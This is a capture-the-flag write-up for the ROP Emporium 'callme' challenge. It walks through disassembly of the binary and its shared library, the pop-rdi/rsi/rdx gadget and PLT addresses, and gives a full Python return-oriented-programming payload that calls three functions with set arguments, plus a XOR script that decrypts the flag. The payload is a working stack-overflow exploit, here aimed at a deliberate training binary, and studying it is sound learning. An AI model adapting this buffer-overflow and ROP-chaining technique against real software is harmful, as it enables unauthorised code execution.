03_callme
ROP Emporium callme
- Tools: IDA Free 7.0, gdb-gef, checksec
- Prerequistes: Stack frame
- Download solution: main.py
Overview
“[…] You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag. […]”
There it is, in this challenge we’ll have to build a chain that doesn’t provoke a segfault. The archive contains the following files:
- callme: Binary to exploit;
- libcallme.so: Shared library exporting the functions
callme_one(),callme_two(), andcallme_tree(); - encrypted_flag.txt: The encypted flag (bummer!);
- key1.dat: Part n°1 of the decryption key;
- key2.dat: Part n°2 of the decryption key.
Function pwnme():
The function to pwn is similar to the previous challenges, the only difference is _fgets() accepts a longer input (256 bytes):
1
2
3
4
5
0000000000401A3C mov rdx, cs:stdin@@GLIBC_2_2_5 ; stream
0000000000401A43 lea rax, [rbp+s]
0000000000401A47 mov esi, 256 ; n
0000000000401A4C mov rdi, rax ; s
0000000000401A4F call _fgets
Functions callme_one(), callme_two(), and callme_three():
These functions are exported by the dynamic library libcallme.so:
1
2
3
4
5
readelf --syms libcallme.so | grep callme
17: 00000000000009d4 214 FUNC GLOBAL DEFAULT 12 callme_two
21: 0000000000000aaa 246 FUNC GLOBAL DEFAULT 12 callme_three
22: 00000000000008f0 228 FUNC GLOBAL DEFAULT 12 callme_one
[...]
Function callme_one():
It starts by checking the content of registers edi, esi, and edx:
1
2
3
4
5
6
7
8
9
00000000000008F8 mov [rbp+arg1], edi
00000000000008FB mov [rbp+arg2], esi
00000000000008FE mov [rbp+arg3], edx
0000000000000901 cmp [rbp+arg1], 1
0000000000000905 jnz badboy
000000000000090B cmp [rbp+arg2], 2
000000000000090F jnz badboy
0000000000000915 cmp [rbp+arg3], 3
0000000000000919 jnz badboy
Hence, it expects the follwing parameters when called:
edi= 1esi= 2edx= 3
If inputs parameters are correct, the function opens the file encrypted_flag.txt and set its content into a global buffer:
1
2
3
4
5
6
7
8
9
10
11
0000000000000927 lea rsi, modes ; "r"
000000000000092E lea rdi, filename ; "encrypted_flag.txt"
0000000000000935 call _fopen
000000000000093A mov [rbp+stream], rax
[...]
000000000000098E mov rax, cs:encrypted_flag
0000000000000995 mov rdx, [rbp+stream] ; stream
0000000000000999 mov esi, 21h ; n
000000000000099E mov rdi, rax ; s
00000000000009A1 call _fgets
00000000000009A6 mov cs:encrypted_flag, rax
Function callme_two():
This function also checks that edi, esi, and edx are respectively set to 1, 2, and 3 (code not shown). If input parameters are correct, the function uses the content of the file key1.dat to decrypt the first 16 bytes of the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0000000000000A4F decrypt_next:
0000000000000A4F mov rax, [rbp+stream]
0000000000000A53 mov rdi, rax ; content of key1.dat
0000000000000A56 call _fgetc ; get next
0000000000000A5B mov esi, eax ; key
0000000000000A5D mov rdx, cs:encrypted_flag
0000000000000A64 mov eax, [rbp+i]
0000000000000A67 cdqe ; dword to qword
0000000000000A69 add rax, rdx ; ->encrypted[i]
0000000000000A6C mov rcx, cs:encrypted_flag
0000000000000A73 mov edx, [rbp+i]
0000000000000A76 movsxd rdx, edx
0000000000000A79 add rdx, rcx ; ->encrypted[i]
0000000000000A7C movzx edx, byte ptr [rdx] ; encrypted char
0000000000000A7F mov ecx, esi ; key
0000000000000A81 xor edx, ecx ; encrypted[i] xor key[i]
0000000000000A83 mov [rax], dl ; decrypted[i]
0000000000000A85 add [rbp+i], 1
0000000000000A89 loc_A89:
0000000000000A89 cmp [rbp+i], 0Fh
0000000000000A8D jle short decrypt_next
Function callme_three():
Again, edi, esi, and edx have to be set to 1, 2, and 3, respectively (code not shown). Then, it uses the content of the file key2.dat to decrypt the next 16 bytes of the flag. The decryption follows the same algorithm as in the previous section, so code is not shown. You can have a look an my reimplementation in Python.
Function usefulGadgets():
Back to the main binary. Function usefulGadgets() is indeed really useful, because it pops everything we need from the stack to the registers we want:
1
2
3
4
5
0000000000401AB0 usefulGadgets:
0000000000401AB0 pop rdi
0000000000401AB1 pop rsi
0000000000401AB2 pop rdx
0000000000401AB3 retn
So, if we were to call the function usefulGadgets() with the following stack frame, we could successfully call and execute the function callme_one():
1
2
3
4
0x0000000000000001
0x0000000000000002
0x0000000000000003
addr _callme_one()
Successfull calls to callme_two() and callme_three() would follow the same idea.
Function usefulFunction():
We’re still inside the main binary. We can’t directly call the function usefulFunction(), because (i) it doesn’t perform the calls to callme_xxx() in the correct order, and (ii) it sets the wrong values into edi, esi, and edx:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0000000000401A57 usefulFunction proc near
0000000000401A57 push rbp
0000000000401A58 mov rbp, rsp
0000000000401A5B mov edx, 6
0000000000401A60 mov esi, 5
0000000000401A65 mov edi, 4
0000000000401A6A call _callme_three
0000000000401A6F mov edx, 6
0000000000401A74 mov esi, 5
0000000000401A79 mov edi, 4
0000000000401A7E call _callme_two
0000000000401A83 mov edx, 6
0000000000401A88 mov esi, 5
0000000000401A8D mov edi, 4
0000000000401A92 call _callme_one
0000000000401A97 mov edi, 1 ; status
0000000000401A9C call _exit
0000000000401A9C usefulFunction endp
It may be tempting to build an exploit executing code at addresses 0x0401A92, 0x0401A7E, and 0x0401A6A. However, doing this will just make us to lose the control we have over rip. Indeed, if the instruction at 0x0401A92 is executed, the return address 0x0401A97 will be set automatically on the stack. And game over for us. Instead, we will use the addresses of _callme\_xxx() functions from the procedure linkage table:
1
2
3
4
5
6
7
8
9
10
11
.plt:0000000000401810 _callme_three proc near
.plt:0000000000401810 jmp cs:off_602028 ; got.plt callme_three
.plt:0000000000401810 _callme_three endp
[...]
.plt:0000000000401850 _callme_one proc near
.plt:0000000000401850 jmp cs:off_602048 ; got.plt callme_one
.plt:0000000000401850 _callme_one endp
[...]
.plt:0000000000401870 _callme_two proc near
.plt:0000000000401870 jmp cs:off_602058 ; got.plt callme_two
.plt:0000000000401870 _callme_two endp
That will do the job.
Chaining things
Payload in Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
payload = b''
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # buffer
payload += b'\x42\x42\x42\x42\x42\x42\x42\x42' # RBP
payload += b'\xB0\x1A\x40\x00\x00\x00\x00\x00' # addr "usefulGadgets()": pop edi, esi, edx, ret
payload += b'\x01\x00\x00\x00\x00\x00\x00\x00' # param1 for callme_one()
payload += b'\x02\x00\x00\x00\x00\x00\x00\x00' # param2 for callme_one()
payload += b'\x03\x00\x00\x00\x00\x00\x00\x00' # param3 for callme_one()
payload += b'\x50\x18\x40\x00\x00\x00\x00\x00' # plt proc callme_one()
payload += b'\xB0\x1A\x40\x00\x00\x00\x00\x00' # addr "usefulGadgets()": pop edi, esi, edx, ret
payload += b'\x01\x00\x00\x00\x00\x00\x00\x00' # param1 for callme_two()
payload += b'\x02\x00\x00\x00\x00\x00\x00\x00' # param2 for callme_two()
payload += b'\x03\x00\x00\x00\x00\x00\x00\x00' # param3 for callme_two()
payload += b'\x70\x18\x40\x00\x00\x00\x00\x00' # plt proc callme_two()
payload += b'\xB0\x1A\x40\x00\x00\x00\x00\x00' # addr "usefulGadgets()": pop edi, esi, edx, ret
payload += b'\x01\x00\x00\x00\x00\x00\x00\x00' # param1 for callme_three()
payload += b'\x02\x00\x00\x00\x00\x00\x00\x00' # param2 for callme_three()
payload += b'\x03\x00\x00\x00\x00\x00\x00\x00' # param3 for callme_three()
payload += b'\x10\x18\x40\x00\x00\x00\x00\x00' # plt proc callme_three()
payload += b'\x97\x1A\x40\x00\x00\x00\x00\x00' # proper exit
Bonus: decryption
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# content of the file "encrypted_flag.txt"
encrypted_flag = b'\x53\x4d\x53\x41\x7e\x67\x58\x78\x65\x6b\x68\x69\x65\x61\x63\x74'
encrypted_flag += b'\x74\x60\x4c\x27\x27\x74\x6e\x6c\x7c\x45\x7d\x70\x7c\x79\x3e\x5d'
encrypted_flag += b'\x21\x0a'
# key1.dat and key2.dat contains 0x01 -> 0x10 and 0x11 -> 0x20, respectively. Thus:
key = 1
decrypted = ''
for c in encrypted_flag:
if key <= 0x20:
decrypted += chr(c^key)
key += 1
print(decrypted)
EOF